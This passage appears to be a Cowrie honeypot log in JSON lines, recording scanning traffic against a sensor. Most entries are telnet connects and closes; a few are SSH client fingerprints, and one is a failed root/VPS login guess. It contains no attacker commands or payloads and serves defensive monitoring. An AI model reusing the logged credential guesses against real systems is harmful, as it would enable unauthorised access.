{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46394,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d046f5b51ba","protocol":"telnet","message":"New connection: 162.55.233.176:46394 (159.203.135.109:23) [session: 8d046f5b51ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:42.321070Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46404,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac2d88070082","protocol":"telnet","message":"New connection: 162.55.233.176:46404 (159.203.135.109:23) [session: ac2d88070082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:42.580024Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55790,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b1330e6637f","protocol":"telnet","message":"New connection: 162.55.233.176:55790 (159.203.135.109:23) [session: 1b1330e6637f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:43.349945Z"}
{"eventid":"cowrie.session.closed","duration":39.30602240562439,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:43.353199Z","src_ip":"69.65.3.189","session":"1fc513952073","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.38130497932434,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:43.391546Z","src_ip":"162.55.233.176","session":"96c566503a1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"12.4","message":"Connection lost after 12.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:43.465493Z","src_ip":"213.209.159.158","session":"505e1c57be25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":14516,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a03afb472b6","protocol":"ssh","message":"New connection: 213.209.159.158:14516 (10.17.0.5:22) [session: 7a03afb472b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:43.553243Z"}
{"eventid":"cowrie.session.closed","duration":30.895763874053955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:43.796352Z","src_ip":"162.55.233.176","session":"945515898180","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.89578366279602,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:43.898265Z","src_ip":"162.55.233.176","session":"1787607fbd1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55792,"dst_ip":"159.203.135.109","dst_port":23,"session":"91b7942a3ecb","protocol":"telnet","message":"New connection: 162.55.233.176:55792 (159.203.135.109:23) [session: 91b7942a3ecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:43.981879Z"}
{"eventid":"cowrie.session.closed","duration":37.64075446128845,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:44.322277Z","src_ip":"162.55.233.176","session":"dfe9a5e1b930","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.930609703063965,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:44.364448Z","src_ip":"162.55.233.176","session":"7630cb5c7220","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55802,"dst_ip":"159.203.135.109","dst_port":23,"session":"11264132d978","protocol":"telnet","message":"New connection: 162.55.233.176:55802 (159.203.135.109:23) [session: 11264132d978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:44.369666Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55808,"dst_ip":"159.203.135.109","dst_port":23,"session":"6978e4cc9787","protocol":"telnet","message":"New connection: 162.55.233.176:55808 (159.203.135.109:23) [session: 6978e4cc9787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:44.424625Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55814,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d10ef6c6632","protocol":"telnet","message":"New connection: 162.55.233.176:55814 (159.203.135.109:23) [session: 5d10ef6c6632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:44.542335Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55822,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5c9f27728b3","protocol":"telnet","message":"New connection: 162.55.233.176:55822 (159.203.135.109:23) [session: b5c9f27728b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:44.623381Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55832,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2d5a36685ab","protocol":"telnet","message":"New connection: 162.55.233.176:55832 (159.203.135.109:23) [session: d2d5a36685ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:44.677115Z"}
{"eventid":"cowrie.session.closed","duration":5.125879287719727,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:44.870261Z","src_ip":"188.208.141.113","session":"28fcb8bfc245","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.74672055244446,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:44.948833Z","src_ip":"188.208.141.113","session":"6f0ac6a62035","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.658992052078247,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:44.972798Z","src_ip":"162.55.233.176","session":"2d0b14394b97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55848,"dst_ip":"159.203.135.109","dst_port":23,"session":"15c3189cbce0","protocol":"telnet","message":"New connection: 162.55.233.176:55848 (159.203.135.109:23) [session: 15c3189cbce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:45.151100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:45.370864Z","src_ip":"213.209.159.158","session":"7a03afb472b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:45.374555Z","src_ip":"213.209.159.158","session":"7a03afb472b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55856,"dst_ip":"159.203.135.109","dst_port":23,"session":"5493fcbb15dc","protocol":"telnet","message":"New connection: 162.55.233.176:55856 (159.203.135.109:23) [session: 5493fcbb15dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:45.599533Z"}
{"eventid":"cowrie.session.closed","duration":30.50022554397583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:46.410885Z","src_ip":"162.55.233.176","session":"63408aa51b84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55872,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5e6e84b7d5b","protocol":"telnet","message":"New connection: 162.55.233.176:55872 (159.203.135.109:23) [session: b5e6e84b7d5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:46.477491Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55888,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d684fe25bf2","protocol":"telnet","message":"New connection: 162.55.233.176:55888 (159.203.135.109:23) [session: 1d684fe25bf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:46.583975Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55894,"dst_ip":"159.203.135.109","dst_port":23,"session":"becc5d3fbe65","protocol":"telnet","message":"New connection: 162.55.233.176:55894 (159.203.135.109:23) [session: becc5d3fbe65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:46.675480Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55906,"dst_ip":"159.203.135.109","dst_port":23,"session":"db66b425a4f2","protocol":"telnet","message":"New connection: 162.55.233.176:55906 (159.203.135.109:23) [session: db66b425a4f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:46.840184Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.234.70.111","src_port":58468,"dst_ip":"10.17.0.5","dst_port":23,"session":"13b695b01488","protocol":"telnet","message":"New connection: 41.234.70.111:58468 (10.17.0.5:23) [session: 13b695b01488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:46.995454Z"}
{"eventid":"cowrie.session.closed","duration":44.421648025512695,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:47.161975Z","src_ip":"206.189.32.23","session":"1041519892b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55914,"dst_ip":"159.203.135.109","dst_port":23,"session":"307a7d77e751","protocol":"telnet","message":"New connection: 162.55.233.176:55914 (159.203.135.109:23) [session: 307a7d77e751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:47.223633Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55922,"dst_ip":"159.203.135.109","dst_port":23,"session":"560558866a8c","protocol":"telnet","message":"New connection: 162.55.233.176:55922 (159.203.135.109:23) [session: 560558866a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:47.584742Z"}
{"eventid":"cowrie.session.closed","duration":34.6051230430603,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:48.050321Z","src_ip":"162.55.233.176","session":"53e8ca2436a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55924,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bc113280cb1","protocol":"telnet","message":"New connection: 162.55.233.176:55924 (159.203.135.109:23) [session: 9bc113280cb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:48.440226Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55928,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb57c515d8ee","protocol":"telnet","message":"New connection: 162.55.233.176:55928 (159.203.135.109:23) [session: eb57c515d8ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:48.556468Z"}
{"eventid":"cowrie.session.closed","duration":36.33369851112366,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:48.886322Z","src_ip":"162.55.233.176","session":"00c7583790c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80915880203247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:49.146125Z","src_ip":"162.55.233.176","session":"48d4582a0b93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":46998,"dst_ip":"10.17.0.5","dst_port":23,"session":"651a170f93c3","protocol":"telnet","message":"New connection: 206.189.32.23:46998 (10.17.0.5:23) [session: 651a170f93c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:49.538473Z"}
{"eventid":"cowrie.session.closed","duration":32.62156629562378,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:49.551774Z","src_ip":"162.55.233.176","session":"c66bbe813f36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.226245880126953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:49.792698Z","src_ip":"162.55.233.176","session":"62c74f495544","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.13386273384094,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:49.853030Z","src_ip":"162.55.233.176","session":"6d3fdf050ffb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.85481834411621,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:49.981947Z","src_ip":"162.55.233.176","session":"8e2ff0fbc457","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55936,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5a2a65bd8b1","protocol":"telnet","message":"New connection: 162.55.233.176:55936 (159.203.135.109:23) [session: b5a2a65bd8b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:50.335052Z"}
{"eventid":"cowrie.session.closed","duration":39.413142919540405,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:50.540794Z","src_ip":"162.55.233.176","session":"939b98346bd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55940,"dst_ip":"159.203.135.109","dst_port":23,"session":"f859890ccae7","protocol":"telnet","message":"New connection: 162.55.233.176:55940 (159.203.135.109:23) [session: f859890ccae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:50.573423Z"}
{"eventid":"cowrie.session.closed","duration":36.211243867874146,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:50.579066Z","src_ip":"162.55.233.176","session":"f581fc636067","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55950,"dst_ip":"159.203.135.109","dst_port":23,"session":"85f96f74c7e9","protocol":"telnet","message":"New connection: 162.55.233.176:55950 (159.203.135.109:23) [session: 85f96f74c7e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:50.611760Z"}
{"eventid":"cowrie.session.closed","duration":31.002261638641357,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:50.624666Z","src_ip":"162.55.233.176","session":"ae894d54db01","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"VPS","message":"login attempt [root/VPS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:52.800574Z","src_ip":"213.209.159.158","session":"7a03afb472b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34754,"dst_ip":"10.17.0.5","dst_port":23,"session":"76070f5c459a","protocol":"telnet","message":"New connection: 188.208.141.113:34754 (10.17.0.5:23) [session: 76070f5c459a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:52.846002Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46606,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdf8f86f9600","protocol":"telnet","message":"New connection: 162.55.233.176:46606 (159.203.135.109:23) [session: cdf8f86f9600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:53.051882Z"}
{"eventid":"cowrie.session.closed","duration":4.257104158401489,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:53.795472Z","src_ip":"206.189.32.23","session":"651a170f93c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.0471465587616,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:53.975145Z","src_ip":"162.55.233.176","session":"15a351812554","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.93480825424194,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:54.009961Z","src_ip":"162.55.233.176","session":"4442ca5cd453","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46610,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a076e567361","protocol":"telnet","message":"New connection: 162.55.233.176:46610 (159.203.135.109:23) [session: 4a076e567361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:54.328957Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46622,"dst_ip":"159.203.135.109","dst_port":23,"session":"81a86d7f9e04","protocol":"telnet","message":"New connection: 162.55.233.176:46622 (159.203.135.109:23) [session: 81a86d7f9e04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:54.698424Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46632,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa199ef0e70e","protocol":"telnet","message":"New connection: 162.55.233.176:46632 (159.203.135.109:23) [session: fa199ef0e70e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:54.995883Z"}
{"eventid":"cowrie.session.closed","duration":31.44309663772583,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:55.530505Z","src_ip":"162.55.233.176","session":"46b75b6613f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"12.0","message":"Connection lost after 12.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:55.594001Z","src_ip":"213.209.159.158","session":"7a03afb472b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46636,"dst_ip":"159.203.135.109","dst_port":23,"session":"50dd51a9a25a","protocol":"telnet","message":"New connection: 162.55.233.176:46636 (159.203.135.109:23) [session: 50dd51a9a25a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:55.652378Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":61092,"dst_ip":"10.17.0.5","dst_port":22,"session":"276e53d49e9b","protocol":"ssh","message":"New connection: 213.209.159.158:61092 (10.17.0.5:22) [session: 276e53d49e9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:55.693895Z"}
{"eventid":"cowrie.session.closed","duration":39.08488702774048,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:55.709763Z","src_ip":"162.55.233.176","session":"0df9455e755f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.36660718917847,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:56.048070Z","src_ip":"162.55.233.176","session":"07a5f8b37219","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.23541021347046,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:56.255564Z","src_ip":"162.55.233.176","session":"27e0bc75e450","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46638,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b691a8077f9","protocol":"telnet","message":"New connection: 162.55.233.176:46638 (159.203.135.109:23) [session: 7b691a8077f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:56.370877Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46644,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ff24e3efbff","protocol":"telnet","message":"New connection: 162.55.233.176:46644 (159.203.135.109:23) [session: 1ff24e3efbff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:56.560562Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46646,"dst_ip":"159.203.135.109","dst_port":23,"session":"d63542d5c662","protocol":"telnet","message":"New connection: 162.55.233.176:46646 (159.203.135.109:23) [session: d63542d5c662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:56.665811Z"}
{"eventid":"cowrie.session.closed","duration":30.759300470352173,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:56.707806Z","src_ip":"162.55.233.176","session":"082c6cc5cb4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46660,"dst_ip":"159.203.135.109","dst_port":23,"session":"1547e175363f","protocol":"telnet","message":"New connection: 162.55.233.176:46660 (159.203.135.109:23) [session: 1547e175363f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:56.917214Z"}
{"eventid":"cowrie.session.closed","duration":43.66603660583496,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:57.070684Z","src_ip":"162.55.233.176","session":"05ad47f19755","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:57.347084Z","src_ip":"213.209.159.158","session":"276e53d49e9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 